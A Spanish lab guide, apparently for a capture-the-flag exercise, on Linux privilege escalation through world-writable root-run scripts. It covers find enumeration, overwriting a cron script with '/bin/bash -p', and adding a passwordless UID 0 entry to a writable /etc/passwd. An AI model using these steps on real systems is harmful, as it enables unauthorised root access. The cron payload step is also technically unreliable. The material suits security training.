🔒 Permisos inseguros como vector de escalada
Los permisos de archivo en Linux (lectura, escritura, ejecución) para propietario, grupo y otros definen quién puede hacer qué con cada archivo. Un archivo crÃtico ejecutado por root pero modificable por cualquier usuario es un vector directo de escalada de privilegios.
World-writable: un archivo con permisos
-rwxrwxrwx o 777 puede ser modificado por cualquier usuario del sistema. Si ese archivo lo ejecuta root (vÃa cron, script de mantenimiento, etc.), el atacante puede inyectar código malicioso.Tabla de permisos Linux
| Octal | SÃmbolo | Significado |
|---|---|---|
| 777 | rwxrwxrwx | Todos pueden leer, escribir y ejecutar (peligroso) |
| 755 | rwxr-xr-x | Sólo el propietario escribe; todos pueden leer y ejecutar |
| 644 | rw-r--r-- | Sólo el propietario escribe; todos pueden leer |
| 600 | rw------- | Sólo el propietario puede leer y escribir |
| 4755 | rwsr-xr-x | SUID: se ejecuta con privilegios del propietario |
🔧 Comandos del laboratorio
1. Confirmar acceso inicial
bash
whoami
id
2. Buscar archivos world-writable
bash — archivos modificables por todos
find / -type f -perm -2 -exec ls -l {} \; 2>/dev/null
bash — archivos de root modificables por todos
find / -type f -user root -perm -2 2>/dev/null
3. Buscar directorios world-writable
bash
find / -type d -perm -2 -exec ls -ld {} \; 2>/dev/null
bash — alternativa más limpia
find / -type d -perm -0002 -ls 2>/dev/null
4. Identificar binarios o scripts crÃticos modificables
Si un script ejecutado por root tiene permisos de escritura para todos, se puede modificar para añadir un payload.
bash — ver permisos de un archivo concreto
ls -la /usr/local/bin/backup.sh
bash — quién ejecuta este script (buscar en cron)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
5. Explotación: inyectar payload en archivo vulnerable
bash
echo "/bin/bash -p" > /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
# Esperar a que root ejecute el script (cron, mantenimiento...)
6. Verificar escalada
bash
whoami
# root
id
# uid=0(root)
7. Obtener la flag
bash
cat /root/flag.txt
🗼 Flujo del ataque
1
EnumeraciónLocalizar archivos/directorios world-writable con
find.2
IdentificaciónComprobar si los archivos son ejecutados por root (cron, scripts de inicio).
3
ExplotaciónModificar el archivo con un payload (
/bin/bash -p).4
Esperar o dispararEl script se ejecuta con permisos de root automáticamente.
5
Shell rootConfirmar con
whoami y id.6
FlagLeer
/root/flag.txt.🎯 ¿Qué buscar? — Indicadores de éxito
- Scripts en
/etc/cron.d/,/etc/crontabo/var/spool/cron/con permisos 777. - Scripts de inicio en
/etc/init.d/o/etc/rc.localmodificables. - Directorios en el PATH de root (
/usr/local/bin) con escritura para todos. - Archivos de configuración de servicios (
sudoers,passwd) modificables → insertar usuario root. /etc/passwdcon escritura → añadir entrada con UID 0 y sin contraseña.